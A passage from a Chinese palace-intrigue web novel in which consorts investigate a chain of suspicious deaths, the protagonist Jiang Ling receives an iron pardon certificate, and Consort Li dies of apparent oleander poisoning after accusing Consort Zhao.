“高美人家在京郊的长水县,父亲任县尉,她算是出身官吏之家,被送进宫做了御侍。高家住在长水县的羊角巷,与开皮毛铺子的章家相邻,两家常走动往来。章家三郎与高美人年岁相近,前年娶了一门亲,妻子生产时一尸两命。去岁章三郎送皮子进京,托人带了信回家,说是北地的皮子好,打算前去贩一些回来。章家担心不已,章家的买卖。皆是其兄在操持,恐他不懂行被人蒙骗,差了其次兄章二郎亲自前来寻他。与章氏皮毛铺相熟的东家称,哪有去北方贩卖皮子之事。有日他陪着其母去广寒寺上香,还在附近遇到过章三郎,他称是到广寒寺替父母祈福。偌大的京城,章二郎无从寻找,去广寒寺寻了一圈,不曾见到章三郎,只能先回长水县。过了一段时日,章三郎仍未回去,章氏夫妻不放心,再打发章二郎来找。这次章二郎苦苦相寻,终于找到了人。在皇庙山下的沟渠中,有人发现了章三郎的尸首。因他身上无信物,头脸摔烂,便将他送到了义庄。章二郎凭着他身上所着的衣衫,耳根后的痣认出了他。” 林贵妃望着江舲,缓缓道:“皇庙与广寒寺隔着一座山头,遥遥相望。” “章三郎与高美人……”江舲听得一脸怔松,呐呐道。 “章三郎以前经常送皮子到相熟的铺子,从未出过差错。此次却不一样,他向家中撒谎,留在了京城,在皇庙附近徘徊。” 林贵妃敏锐而聪慧,抽丝剥茧道:“皇庙附近多山石,冬日山石湿滑,不小心跌落下山并不足为奇。按照高美人的品级,一旦被查出,与苏月一样,会将发配皇庙。章三郎死了,高美人也中炭毒而亡。” 江舲不禁回想起来,当时她转身回屋质问高美人,她反应确实奇特,好似并不在乎被发配之事。 如今被林贵妃一说,江舲恍然大悟。高美人指不定就想着发配皇庙,与章三郎双宿双飞。皇庙有人看守,章三郎对宫中之事一无所知,必定有人在两人中间传话。 林贵妃呵呵笑了声,道:“章家在高美人进宫之后,迅速替他娶了妻。在高美人身边伺候的仆妇,在她进宫后三个月不到,得急症没了。” 高美人与章三郎之间若曾有私情,两家断不会让半点消息透出来,轻则死,重则抄家灭门。 迅速娶妻,知情的仆妇亡故,着实像是在掩饰什么。 “章二郎送了信回家,很快,章氏老夫妻与章大郎一起赶到了义庄。他们哭过一场之后,连日领走了章三郎的尸首,匆匆掩埋了。这一对年少时的故交,前后相隔三日去世。高章两家都绝口不提两人。他们死了,仿佛对两家是一件好事。” 林贵妃脸上浮起笑意,眸中却一片冰冷,道:“真真是算计得妙,让人死了也白死,无人会追究最好的办法,便是人死比活着好。一切都属于巧合,毫无破绽。可惜,世上哪有如此巧合之事,只有精心谋划。越是做得天衣无缝,越是让人起疑。” 天彻底黑下来,伺候的人都远远立着,廊檐下灯笼泛着昏黄的光,暖阁内光影黯淡。 江舲佩服主使之人的手段,同时感到周身发寒,不由自主搂住了手臂。 “任由手段再高明,再算无遗策,人心把控得如何精妙,若缺了一样,终究是一场空。” 林贵妃直视着江舲,道:“江美人,你以为,谁有那般大的本事,调动指挥人手去做这些?” 第47章 按照林贵妃的推断, 元明帝与她自己,赵德妃,柳贤妃都有这个本事。 元明帝首先要排除, 他是皇帝,无需隐瞒, 折腾,直接下旨便是。 赵德妃与林贵妃都算得上受害者, 亦可勉强排除。 思及此, 江舲不禁一愣:“难道是柳贤妃?” 不过,江舲忙稳住神, 什么都没说。 首先,柳贤妃缺乏做这些的动机。她虽聪明厉害, 到底膝下无子。 在后宫很残酷, 无子的嫔妃,待元明帝驾崩之后,她最多升为太妃在后宫荣养。 新帝添新后宫, 荣养的太妃, 无权无势, 无依无靠, 安分守己能平安活到老。 且她比需要费劲全力, 才能勉强压过林贵妃赵德妃一头。 一旦两人联合起来反扑, 她估计难以招架,最终得不偿失。 其次, 柳贤妃来自明州府, 父亲曾做过礼部侍郎,十年前已经去世。 柳氏兄弟两人,大哥靠着柳父恩荫出仕, 在兖州府出任通判。二哥身子不好,在老宅侍奉母亲,操持柳家庶务。 家世在后宫一众嫔妃中,算是普通寻常。 前去解决掉罗氏父子,前去办事之人,行事必须要狠厉果决。柳家兄弟离得远,沟通不便。 方司灯之死,元明帝似乎不打算闹大,才有后续的高才人之事。 在短短时日内,能迅速安排好章三郎,除非柳氏在京城有高手坐镇指挥。 或者,柳贤妃在宫中有人,比如皇城司与勾当皇城的势力。 江舲想不通,柳贤妃若真有这个本事,斩草除根,杀了两个皇子最为直接。 最后,即便柳贤妃是幕后主使,与林贵妃联手的话,她的好处尚未得知,坏处却很明显。 搬倒柳贤妃,林贵妃与赵德妃在后宫没了对手,说不定,下一个就该轮到她了。 江舲努力装出震惊不解,摇头道:“娘娘,我笨得很,真不知谁有这般大的本事。” 林贵妃双眸紧紧凝视着她,淡淡一笑道:“江美人自谦了。我找你说这些,并非要你如何。只让你知晓,背后陷害我们的是谁。江妹妹莫要怪错了人,帮衬错了人。” 江舲嘴角扯出一丝笑,道:“娘娘提点得是。只我真不知是谁。我听说官员断案,要问犯人为何犯事,比如杀人,是因为与人结了仇,抢银子,家财等等。我觉着后宫中如娘娘,姐妹们都很善良,做不出来这些事。” 林贵妃静静看着江舲,缓缓笑了起来。她未再继续说下去,道:“待三月时,该有新的姐妹进宫。” 说话间,她站起了身,道:“尙宫局忙得很,胡尙宫还在重华宫等着回事。时辰不早,我先回宫去了。” 后宫号称佳丽三千,品级人数上却有规定。皇后一人,妃五人,嫔十八人,婕妤美人才人共二十七人,无品级的庶妃共计八十一人,统共一百三十二人。 原本太祖规定,妃位上只有贵妃,淑妃,德妃,贤妃四人。文宗为心爱的妃子新立了宸妃的封号,妃位变成了五人。 至于有封号人数的多寡,端看皇帝的喜好。如皇贵妃的封号,始于明宣宗对宠妃孙氏的特殊恩宠。 元明帝后宫宫女子虽不算少,有品级的却不多。后宫时常有新人被宠幸,每年采选新人进宫。 若来自基因的庇佑,皇帝都死得早。老而不死是为贼,尤其是皇帝活得太长真会变成祸害。后宫嫔妃众多,从乐观上相。是他们早死的报应。 元明帝羸弱,年年采选,应该也活不长。 江舲起身相送,林贵妃抬手道:“春日夜凉,江妹妹且留步。” “娘娘慢走。”江舲停下脚步,屈膝施礼恭送。 林贵妃颔首致意,随行伺候的许嬷嬷与绣云,打起灯笼,拿着风帽上前披在她肩上,簇拥着一道离开。 阿箬提了灯盏前来,文涓取了厚衫披在江舲身上,道:“美人进屋去吧。” 天空中星星点点,隔着纱绡闪烁。江舲觉着憋得慌,拉拢厚衫,靠在窗棂上眺望天,道:“我坐一会,等下晚膳就摆在这里。” 文涓应是,与阿箬一起退出去,取了炭来添在薰笼中,摆好饭菜。 江舲略微吃了些,漱口后,沿着回廊走动散步消食。 文涓觑着江舲的神色,小心翼翼问道:“美人,可是出什么事了?” 即便文涓是心腹,江舲亦不愿多言,道:“没事。” 文涓迟疑了下,笑着道:“奴婢未曾听到皇上宣谁伺候,今晚不曾到繁英阁,当是前朝政事缠身,美人且放宽心。” 江舲愣了下,觉着实在荒唐,不由得笑了起来。 平时她几乎粘在了榻上,也难怪文涓会以为她担心失宠。 “以后这些话别说了。回屋去吧。”江舲道。 文涓忙道:“是,奴婢去给美人打热水来洗漱。” 回屋后洗漱过,江舲躺在榻上吃茶,文涓坐在一旁做她的里衣。看着文涓手指翻飞,江舲脑中一闪,问道:“文涓,你对柳贤妃可熟悉?” 文涓拿着针,认真沉思了下,道:“柳贤妃父亲柳侍郎一手大字写得好,深得先皇赏识,从礼部郎中提拔成了侍郎。当时皇上已被立为太子,柳贤妃在家乡明州府陪伴母亲,先皇得知柳贤妃的字不输于柳侍郎,生了惜才之心,将她许给了皇上。皇上刚登基,柳侍郎就去世了。柳贤妃起初被封为婕妤,生了皇子后被晋封为妃。柳贤妃深居简出,平时在后宫中不声不响,奴婢不曾听到柳贤妃之事。” “柳贤妃的皇子,是如何没的?”江舲心思微转,问道。 文涓道:“柳贤妃当时生产时,颇为吃了些苦头,幸好平安诞下了皇子。只皇子身子弱,又值寒冬,时常生病。在满月后不久的一天夜里起了高热,第二日上午,人就断了气。” 深冬时节幼儿确实容易生病,柳贤妃皇子的夭折,看上去并无异样。 “宫中未序齿的皇子公主,共有五人。先皇后生产时一尸两命,奴婢听说也是个皇子,生下来时尚有口气,活了一日不到,人就没了。” 文涓拿着针在头上划了划,叹了口气,道:“柳贤妃当时哭得快晕死过去,在病榻上缠绵了半年,始终不见好转。恰大公主的生母去世了,皇上见柳贤妃伤心太过,便将大公主让柳贤妃扶养。有大公主承欢膝下,柳贤妃身子终于渐渐好转。大公主识字,开蒙,皆由柳贤妃亲自教导。大公主聪慧伶俐,书读得好,一笔大字,已有柳贤妃的几分风骨,比大皇子二皇子都要强。常得皇上夸赞呢。皇上经常说,可惜大公主生错了女儿身,若是皇子就好了。” 大胤的公主无实权,下降的也是闲散勋爵人家。柳贤妃不是武则天,何况武则天晚年还政李氏,太平公主败给了李隆基。 在礼法纲常下,大公主再聪慧,在士大夫的眼中,也比不过一个蠢皇子。 江舲着实猜不透柳贤妃的用意,不由得怀疑其实背后的主使另有他人。一时间,她也想不出到底是谁,只能先放在了一边。 天气一天天暖和起来,辛夷花次第开放。不过,到了二月十二的花朝节前夕,苑囿的花木,依然供应不足。 秦尙宫送了几盆兰花到繁英阁来,一一道:“美人,这是银边大贡,这是蕙兰素心。本该还有鱼魫大贡,苑囿那边称,鱼魫大贡去岁冬日冻死了。” 江舲打量着兰花粉色的花瓣,凑上去闻着幽幽的花香,闻言顿了下,道:“都死了?名贵的鱼魫大贡死光了?” 秦尙宫苦笑了下,道:“不止鱼魫大贡,牡丹与芍药也少了好些。” 鱼魫大贡与银边大贡两种兰花,端从名字便能听出,乃是地方进贡的名贵兰花。蕙兰素心唇瓣纯净,最最名贵的花种,整朵花皆无暇,格外幽香。 兰花在四月左右开放,苑囿皆是用暖房栽种。即便最便宜的春兰,一盆也要近五两银子。 江舲跟着笑起来,道:“苑囿还真是罢了,这件事我管不得,反正你只管如实回禀皇上就是。宫中其他娘娘们,可有何喜欢的花,缺了多少?” 秦尙宫道:“太妃们多喜兰花,奴婢让人送了春兰前去。贵妃娘娘只喜芍药,德妃娘娘本要了几盆牡丹,嫌弃姚黄开得面黄肌瘦,让奴婢取了回来,什么花都不曾要。贤妃娘娘则各自选了两盆。” 江舲道:“其他各处,且请她们将就一二。若有人只喜兰花,将我这几盆拿去。我无所谓,庭院中的花都开了,赏不完。” 见江舲亲切好伺候,秦尙宫暗自松了口气。她沉吟了下,道:“奴婢先前还听底下的人说,新进宫的段才人喜欢兰花,问她可有鱼魫大贡。奴婢将美人的这盆银边大贡送去翠微阁,问段才人可喜欢。” 段才人今年新采选进宫,被元明帝临幸之后,封为才人,住进了李贵人先前住的翠微阁。元明帝连续三天宣她侍寝,深受宠爱。 已经好几日未见到元明帝,江舲暗自琢磨着,不知铁券丹书可有打造好。 算着日程,江文修一行应当快到京城。早些将铁券丹书拿到手,方能彻底心安。 秦尚书话说得虽委婉,如今江舲能听出来,她在暗中提醒,元明帝有了新宠。 江舲虽不在意,到底承秦尙书这份情,爽快地道:“行,你且搬走便是。” 秦尙宫搬着花去了翠微阁,过了约莫小半个时辰,她搬着先前的兰花,段才人随她一道来到繁英阁。 第48章 段才人身着一身豆绿春衫, 去岁方及笄,生得花容月貌,神态娇憨天真, 犹如春日的嫩芽般水灵。 江舲看到她,情不自禁感慨不已。怪不得段才人能得元明帝喜欢。 宫中无论后妃或是宫女, 进宫一段时日之后,无论何种年岁, 举手投足或神态间, 总是透着一股相似的气息。 说是端方规矩,实则是千篇一律的刻板木然。 “江姐姐。”段才人屈膝盈盈施礼, 声音若画眉般婉转。 江舲颔首还礼,指着锦垫道:“段才人请坐吧。” 段才人也不坐, 指着秦尙宫与宫女捧着的兰花道:“先前秦尙宫前来送兰花, 我听说是从江姐姐的繁英阁搬来,岂敢夺走了江姐姐的心头好。且先给了江姐姐,再拿来给我。我方进宫不久, 倒显得我张狂, 要压着江姐姐一头, 抢在江姐姐前面呢。” 江舲不由得一愣, 心道:“这一幕甚是熟稔, 周瑞家的送绢花, 惹得林妹妹不满,以为挑剩下的才送去给她, 让她心生不喜了。” 段才人出身勋贵之家, 祖上与太祖一起打天下,被封为永安伯,世袭罔替。 立国初期的勋贵, 如今余下不过三五家。永安伯府子孙不求上进,喜好吃喝玩乐。如今段氏子孙虽只领着闲差,到底出身伯府,段才人又是永安伯的嫡幼女,娇纵些也是常理。 后宫本不太平,本着多一事不如少一事的念头,江舲忙解释道:“段才人,我见识少,兰草娇贵,在我手上反倒委屈了,赏些庭院中的花花草草便足矣,你喜欢兰草,且拿去就是。” 午后天气晴好,惠风和畅。暖阁斜窗卸下,纱绡半卷,随着微风轻摆。辛夷花盛放,满树如淡紫的云烟。 段才人嘴角不经意撇了撇,道:“江姐姐有心了。我未曾进宫前,府中暖房养了许多花草。魏紫姚黄,惠兰素心,无论是牡丹芍药兰花,自小看得多了,从不觉着稀奇名贵。兰草江姐姐还是自己留着吧。” 听段才人的语气,永安伯府富贵满园,几盆兰草,她还不放在眼里。 好心被鄙夷嫌弃,江舲便不再多言。她亦不生气,打量着段才人,情不自禁露出阵阵笑意。 后宫中皆是人精,如段才人这般稚嫩莽撞之人,比鱼魫大贡还要稀缺。 终于有人在口舌上占点便宜,争些鸡毛蒜皮之事了! 后宫的嫔妃,如同四季变换,春发冬枯。元明帝才二十七岁,假若他能活到五十,还有足足二十三年。 二十三年的岁月,花草已然轮回二十三次。段才人这株嫩芽,早已长成如江舲这般的老树根。 江舲笑着道:“好,段才人既然不喜,将兰花留下就是。” 段才人咬咬唇,屈膝盈盈施礼告退。这时,元明帝从抱厦外走来,段才人眼睛一亮,忙上前垂首请安:“臣妾见过皇上。” “咦,你怎地在这里?”元明帝愣了下,朝暖阁那边望去。 江舲听到动静,鬼鬼祟祟往窗棂外探着头,见元明帝看来,忙嗖地缩回头。 “臣妾来将兰草还给江姐姐。”段才人顺着元明帝的视线看去,咬了咬唇道。 “还兰草又是何回事?”元明帝皱眉问道。 段才人娇怯地道:“江姐姐得了几盆兰草,因她不喜,就让秦尙宫来拿给臣妾。臣妾不敢夺走江姐姐的花,赶紧还了回来。” 元明帝深知江舲的性情,除去金银,她一向大方,不拘小节。若真是喜欢,绝不会亏了自己让出来。 “既已给了你,你留着就是,何须推来辞去?”元明帝道, “臣妾遵旨。”段才人屈膝谢恩,咬了咬唇,扬起笑脸道:“臣妾听说繁英格繁花似锦,一年四季景致各不相同,最美不过。臣妾起初还不肯信呢,先前一见,果真是名不虚传。江姐姐的繁英阁,真真花满园,臣妾看得都舍不得离开。皇上可是也来赏花?” 元明帝不时朝暖阁方向看去。秦尙宫等宫人远远垂首恭敬肃立,只不见江舲的身影。他微微皱眉,招手让秦尙宫上前,吩咐道:“将兰草给段才人送去。” 秦尙宫忙叫上宫女,捧着兰草前去翠微阁。元明帝对段才人道:“你且回去吧。” 段才人娇声应是,含羞带怯望了元明帝一眼,依依不舍离开。 元明帝大步朝暖阁走去,江舲听到脚步声,赶忙从屏风后出来请安,“皇上怎地来了?” “你早见到朕来,却装作惊讶,明知故问。”元明帝故意瞄向屏风,似笑非笑道。 江舲理直气壮地道:“臣妾见皇上与段才人在说话,惟恐打扰,便不曾迎上前。” “在此处也偷听得一清二楚,何来的打扰之说?”元明帝朝屏风后指去,干脆挑明了道。 江舲确实在偷听,积攒了一肚皮的无名怒火。段才人先前以为江舲将挑剩下的兰草给她,她跑上门来一通明嘲暗讽。却用春秋笔法,称其是礼让。 更为过分的是,她口口声声夸赞繁英阁,实则不安好心,想从江舲手中抢走! 江舲忍着气,坚决不承认,佯装惶恐地道:“皇上的每句话,皆是金科玉律,臣妾岂敢窥探御前。” 元明帝见她还在振振有词,无语半晌,道:“朕说几句闲话而已……罢了罢了,朕不与你计较,坐吧。” 江舲坐了下来,元明帝招呼黄梁上前,让他留下匣子,“都退下吧。” 黄梁赶忙领着内侍宫女退到远处守着,元明帝指着匣子道:“你打开瞧瞧。” 江舲打开匣子里面放着一块瓦片状的铁板,铁板半圆形如符节,只有瓦片的一半。她伸手一拿,差点没拿起来:“哎哟,好重!” “你小心些。”元明帝赶忙伸手托住,道:“你放着吧,仔细掉下来砸坏。” 江舲见是铁券丹书,高兴得差点尖叫。她哪顾得上元明帝的提醒,一咬牙,用力抱在了怀中。 铁券丹书重约十斤左右,边上绘着祥纹,上面用添加金粉的朱砂,在凹槽中描了字:“谋逆不宥,卿恕十死,子孙三死。” “子孙才免三死,好小气。”江舲暗自嘀咕,将铁券丹书放在腿上,手指在凹槽中虚虚描绘着。 突然,她手一顿,紧张问道:“皇上,要是朱砂退了颜色,就算不得丹书了,到时还能作数么?” 元明瞪着她,道:“朱砂所写之字,颜色经久不退。怎地,你还真打算犯下砍头之罪,用上免死的铁券丹书?” “臣妾向来规规矩矩,从不逾矩半步。”江舲放下了心,气定神闲地肯定了自己,道:“铁券丹书并非给臣妾。且树欲静风不止,臣妾只怕那天皇上听信谗言,降罪臣妾。若皇上欲将繁英阁赏赐给宫中其他姐妹,臣妾恳请皇上,将臣妾迁至撷芳阁。” “朕何时要降罪于你……”元明帝听得一头雾水,正要训斥她胡思乱想,想起先前段才人似乎提到过繁英阁,话语一顿。 “呵呵,男人!色令智昏!你究竟有几个好妹妹,她身上有你的香水味……”江舲看着元明帝的反应,暗戳戳一阵腹诽。 元明帝耳根一阵发痒,抬手挠了挠,懊恼地斜乜着江舲,道:“朕既已将繁英阁赐给你,你自管放心住着便是。” “男人的话不能信,还是铁券丹书有用咦,儿孙,我也算是儿孙啊,不行,反正问一下又不会掉块肉,先确认一下” 江舲心中想着,按耐不住急切问道:“皇上,臣妾也是江氏儿孙,铁券丹书可能免去臣妾的死罪臣妾不会犯死罪,可能免去臣妾被夺去封号,削减用度?” “胡闹!”元明帝被气笑了,训斥道:“铁券丹书岂是儿戏,被你随意拿来使用。嫁出去的女儿,如泼出去的水,罪不及出嫁女。你已入宫,身为朕的嫔妃,更与江氏没了干系。” 既然元明帝不同意,江舲在心里鄙夷了几句,也就作罢。铁券丹书压得腿酸,她小心翼翼放回匣子中,合上仔细锁好。 元明帝道:“你阿爹一行,约莫后日会到京城。朕赐了状元巷的宅子,到京城之后,他们也有落脚之处。” 京城居大不易,江舲惊喜不已,心道:“哎哟,小气鬼大方了!” “臣妾谢过皇上,皇上的恩情,臣妾感激不尽!”江舲站起身,深深施礼下去。 元明帝呵呵冷笑,赐给江氏宅子,她照样骂他小气鬼,真是赔了夫人又折兵! 连着剜了江舲好几眼,元明帝才不情不愿地道:“朕打算安排你阿爹大哥领了苑囿的差使。” 江舲一怔,道:“李郎中呢?” 元明帝脸色沉了沉,不悦地道:“李氏贪婪无度,将苑囿的名贵花木偷出变卖,贪腐购置花苗的银两。朕好好的苑囿,被一群蠹虫悉数掏空。尔等蟊贼,朕已下旨政事堂彻查,将这群蠹虫连根拔起!” 看来,李郎中此次在劫难逃了,不知他会被罢官,还是砍头流放。 江舲没有多问,沉思了下,爽快地道:“阿爹大哥能得苑囿的差使,定当肝脑涂地,勤勉刻苦,方不负圣恩。” 元明帝见她难得真正感激起来,脸上止不住扬起了笑容,戏谑道:“怎地,你不推诿了?” 铁券丹书在手,江氏父子办不好差使,顶多被罢官。 反正于性命无碍,江氏父子管苑囿,不会给她使绊子,省去勾心斗角,江舲当然一口答应了。 江舲冠冕堂皇答道:“皇命不可违,臣妾遵旨。” 元明帝嗤笑一声,手指点了点匣子:“朕瞧着,你是仗着铁券丹书在手……” 这时,黄梁在远处探头朝暖阁内张望,元明帝见状蹙眉,抬手让他上前,问道:“何事?” 黄梁躬身回道:“皇上,李贵人病重,郑太医正与吴太医皆束手无策,已命在旦夕。李贵人哭着吵着要见皇上,说是有机密之事,要当面与皇上说。”—— 作者有话说:铁券丹书参照博物馆现存的钱镠铁券,上面刻有“卿恕九死,子孙三死。” 不过,就算有了免死金牌,也不是百分之百安全,决定解释权都在皇帝手上。历史上有免死金牌的功臣,大半仍然被皇帝处死了。 第49章 江舲震惊不已, 失声惊呼:“什么?李贵人一直好好的,怎地突然就命在旦夕了?” 元明帝亦愕然,脸色渐渐阴沉下来, 起身朝外大步走去。江舲犹豫了下,想着她毕竟算后宫管事, 实在是好奇,忙交代文涓收好匣子, 急匆匆跟在了元明帝身后。 李贵人从翠微阁迁出来之后, 住在皇宫东北角的后苑。江舲初次来到这一带,不禁恍惚了下。以前她以为撷芳阁是寒酸的冷宫, 与后苑一比,称得上华丽了。 无品级不得宠的后妃, 大多都住在这里。事关皇家脸面, 再不得宠,也是皇帝的嫔妃,后苑屋舍虽陈旧, 照样是五开间, 飞檐斗拱高大宏伟。每间进深大, 狭窄。每人住着一间, 中间用屏风隔开, 里间是卧房, 次间放着坐榻。 李贵人住了靠西侧的一间,听到元明帝前来, 苑中的嫔妃皆赶忙出来请安。黄梁指挥内侍, 将她们一一驱赶回屋。 郑择与吴适山两人一头一脸的汗,朝服皱巴巴,上面沾着污渍, 忙着到门口恭迎:“臣见过皇上,江美人。” 江舲停下脚步颔首还礼,元明帝沉声道:“究竟如何回事?” 郑择抹了把头上的细汗,紧张地道:“臣听到李贵人呕吐,腹泻,以为是积食不克化。先让吴太医前来诊治。吴太医一来,察觉到情形不对,忙让人来回禀臣。臣来一瞧,李贵人腹痛如绞,便有血,臣与吴太医皆以为,李贵人定当是中了毒。” “中毒?”元明帝脸色愈发难看,怒意如黑云般在脸上堆积,厉声道:“怎地会中毒,中了何种毒?” 郑择脸色发白,战战兢兢道:“请皇上恕罪,臣尙不知。先前臣与吴太医用了绿豆汤替李贵人催吐,熬煮了解毒汤剂服用……” 元明帝怒火攻心,冷冷扫了他们一眼,一个旋身,怒气冲冲朝屋内走去。 “那是甚?”江舲指着庭院角落长得郁郁葱葱的花木道。 郑择垂头丧气跟着进了屋,走在后面的吴适山,听到江舲的问话,顺着她的指点看去。他愣了一下,脸上的疑惑一闪而过,道:“回江美人,那是枸那,原来自西域。御花园与皇苑中皆有栽种。枸那在四月开花,叶如竹,花朵似桃花,远望去如云霞,被世人称颂为八芳之一。” 江舲从未去过御花园,繁英阁中不曾栽种此物。她当然认识枸那,只不清楚在大胤如何称呼。 枸那,便是后世的夹竹桃! 如果李贵人是夹竹桃中毒,除非她吃得极少,或有神仙保佑,定在劫难逃了。 “枸那可能入药?”江舲沉吟了下,问道。 吴适山心中疑惑更甚,道:“枸那可用于妇人堕胎,痛经。叶能镇痛,去瘀,跌打郎中用来治跌打损伤肿痛。亦可治心腹痛,风湿痹症。只美人摘花时切莫沾到汁液,如芋头一般,手会红肿发痒。” 江舲沉默着,本想说些什么,林贵妃赵德妃并柳贤妃一起赶了来,她将话咽了回去,屈膝遥遥见礼。 三人与江舲颔首招呼,快步进了屋。江舲看了眼吴适山,随后走了进去。 屋内散发着酸臭与浓浓的药味,昏暗幽深,大白天依然点了蜡烛。李贵人闭眼躺在床上,神情痛楚地蜷缩着身子,豆大的汗水从青灰的脸上滚落。伺候的宫女菡萏拿着布巾,惶恐不安地不断替她擦拭。 元明帝一言不发站在床前,脸黑得几欲滴水。郑择拿着银针的手都发抖,迟迟不敢下针。他一咬牙,道:“李贵人,臣得罪了。菡萏,你且按住李贵人。” 菡萏手忙脚乱按着李贵人的双肩,郑择正欲下针,李贵人突然醒了过来。她不知从何处来的力气,一把扫开郑择的手,侧身从床上坐起。她起得太快,似乎耗尽了所有的力气,一头朝床下栽倒。 菡萏尖叫一声,忙冲上前扶住李贵人,颤抖地道:“贵人,贵人快躺下,郑太医正好替美人施针。” 李贵人靠在菡萏身上剧烈喘息,艰难地道:“皇上臣妾要死了” 说话间,李贵人又是一阵急喘,她抬手,紧紧捂住了胸口,轻声道:“臣妾不怕死,只舍不得皇上” 她嘴角扯了扯,浮起一丝笑,她青灰的面孔上,绽放出一朵朵的花。花由浅变深,配着她青紫的唇,仿若艳丽的妖。 “臣妾怕含冤而死,阿娘李家被人诬陷,再也洗不清。” 李贵人使劲掀起眼皮,昏黄的灯光下,那双如琉璃般的猫儿眼,此时只余下眼白,格外阴森。 “是她,是赵德妃给臣妾下毒!是她拿了李家的好处,怕臣妾揭发,要杀人灭口,害死李家!” 李贵人直勾勾盯着站在元明帝身后的赵德妃,声音变得高亢而尖锐,她竭尽全力,凄厉地喊道:“皇上,请皇上替臣妾,替李家做主啊!” 屋内死一般地寂静,灯盏上的灯烛摇晃。李贵人手垂落下来,靠在菡萏的身上,再也没了声响。 “贵人,贵人!”菡萏身子往后仰,哭着喊起来。郑择见势不对,上前打探过李贵人的鼻息,浑身一凛,再连忙号脉。 半晌后,郑择硬着头皮回道:“皇上,李贵人去了。” 元明帝一脸怔忪,目光一点点从李贵人身上挪开,僵硬地转过身,看向赵德妃。像是不认识她一样,轻声,不解地道:“是你给她下毒?” 赵德妃脸色泛白,她似乎被吓住了,好一阵才回过神,道:“皇上,臣妾并不知李贵人中毒之事,更不会给她下毒。臣妾清楚,无论臣妾如何回答。皇上定会以为臣妾在狡辩。” 她的眼眶渐渐泛红,难过地道:“无论如何,臣妾与李贵人相交一场,人死为大,臣妾不争不辩,这就回到福庆宫去,禁足不出。待李贵人入土为安之后,皇上要审,要罚,臣妾绝无二话。” 元明帝心头像是团着乱絮,憋得难受至极,神色狰狞咆哮道:“若被朕查出来,无论是谁,朕要灭了他的九族!” “黄梁!”元明帝高喊了声,黄梁疾步上前,他眼神冰冷,浑身煞凛冽,声音像是从齿缝中溢出:“让袁长生送赵德妃回去,派人日夜看守着福庆宫,一只苍蝇都不许飞出来!” 赵德妃不哭不闹,屈膝施礼告退,转身离开。脊背挺直,步伐从容。 元明帝克制住怒火,一字一顿道:“李贵人犯心痹而亡,以才人之礼安葬。林贵妃,准备安排丧事。” 林贵妃应是,元明帝不再多言,抬腿大步朝外走去。 郑择与吴适山紧跟着告退,柳贤妃道:“贵妃娘娘,我身子不好,先回去了。” 林贵妃道好,江舲紧跟着屈膝告退。她点点头,并未多留,唤了钟嬷嬷绣云上前。 江舲走出屋外,太阳已经西沉,春日傍晚的风,吹在身上冰凉彻骨。她缓慢呼气吸气,昏昏沉沉的头脑。总算清明起来。 屋内,林贵妃淡淡的声音传出来:“送到宫正司去,皇上以后还要审她呢。” 菡萏惊惧的哭声响起,钟嬷嬷不耐烦地道:“把嘴巴堵了!” 哭声变成了呜咽,终归无声。 后苑开始掌灯,影影绰绰的光,从一间间窗棂透出来,人影晃动,天地寂静无声,像是一座活死人墓。 江舲心里堵得慌,抚摸着泛起鸡皮疙瘩的手臂,低头赶紧离开。 回到繁英阁,江舲更洗过出来,文涓已经取了饭食摆好。她略微吃了小半碗饭,便没了胃口,回到次间,躺在榻上发呆。 文涓煮了热茶进屋,道:“美人,暖阁收起来的匣子,奴婢放在箱笼中锁了起来。” 听到暖阁,江舲便不由得想起后苑的居所。李贵人的那间屋子,只比暖阁略微面阔一些。 繁英阁面阔五间,进深三间,前后抱厦带配殿耳房,只住着她一人。 李贵人从翠微阁搬去后苑,一朝从云端跌落,日子可想而知。 江舲万万没想到的是,李贵人临终前的秘密,竟然是拼着最后一丝力气,指认是赵德妃害了她。 以前江舲刷到过夹竹桃的危险,李贵人明显是心脏毒性症状,心脏骤停而亡。 夹竹桃被称为“八芳”之一,宫中多有栽种,后苑也种了一丛。吴适山称夹竹桃可用来入药,同时提醒汁液会伤肌肤。 二月的夹竹桃还未开花,入药的夹竹桃,也应当经过炮制。 李贵人不会无缘无故去采夹竹桃,中毒只有两种可能。 一是被人下毒,二是她自己吃了进去。 江舲不由得感慨起来,赵德妃当时反应极快,真是处理得令人拍案叫绝! 元明帝宠爱过李贵人,目睹昔日的宠妃惨死在面前,哪怕再铁石心肠也会伤心。 赵德妃再清白无辜,若当场争辩哭闹,肯定会激怒元明帝。 面对着李贵人的仇恨,赵德妃始终不忘往日情分,为她的去世而伤怀。 赵德妃体贴周到,自请禁足,摆出坦荡的姿态,等着元明帝查明实情。 元明帝的伤怀如朝花夕拾,转瞬即逝。待他被今年采选进宫的新宠一抚慰,李贵人也就成了往日烟云。无论查出的结果如何,肯定比他盛怒之下的处置要轻。 轻描淡写间,便将迫在眉睫的大危机瞬间化于无形! 不过,江舲想不明白的是,当时是她与李贵人文德殿起冲突,她才是李贵人的仇人。 若李贵人是故意吃夹竹桃,拼着一死护住李家,报仇雪恨。 为何,李贵人指了赵德妃是凶手,而非是她? 第50章 李贵人按照才人的品级下葬, 后苑地方狭窄,不方便操持丧事。撷芳阁迄今空着。林贵妃回禀元明帝之后,将李贵人灵堂设在了撷芳阁。 宫中规矩重, 前面高才人去世后,照美人规格下葬, 停灵主屋。李贵人的品级低,灵堂便设置在了西跨院。 过了两日, 江舲用过早饭后, 前去撷芳阁祭奠。 到了正屋门前,江舲不禁停下了脚步, 举目望去。 春日的撷芳阁,草木勃发。主屋庭院的桂花树, 久未修剪, 长得茂盛又恣意。 隔着短短时日再来,依旧是因着丧事。 “美人可要进去瞧瞧?”文涓见江舲满脸的寂寥,以为她不舍, 上前关心问道。 江舲摇摇头, “我不去了。” 她回不去了。 在后宫之中, 人人皆争抢着往上爬。 江舲并不例外, 早抛弃了以前不切实际, 一辈子不争不抢, 低调活着的念头。 她已经走向了更好的地方,惟愿永不回去。 江舲头也不回, 朝西跨院方向走去。宫中空置的宫殿屋舍虽有人时常洒扫, 一段时日未住人,灰瓦红墙总像是蒙上了一层灰,浓浓的香烛纸钱气息中, 不时冲出一股腐烂之气。 天气暖和起来,灵堂摆了冰鉴,一进去就寒意浸人。棺木依旧是柏木,规制比高才人略差一等。命妇哭完灵,前往苇棚去歇息了,几个内侍宫女守着香火盆。 江舲上了柱香,前往林贵妃的苇棚请安。绣云见到她来,忙打起帘子。 里面的林贵妃看到江舲,起身走了出来,道:“这烟火味重,我正头晕着,打算出去透透气。江美人若不忙,随我一道前去走动走动。” 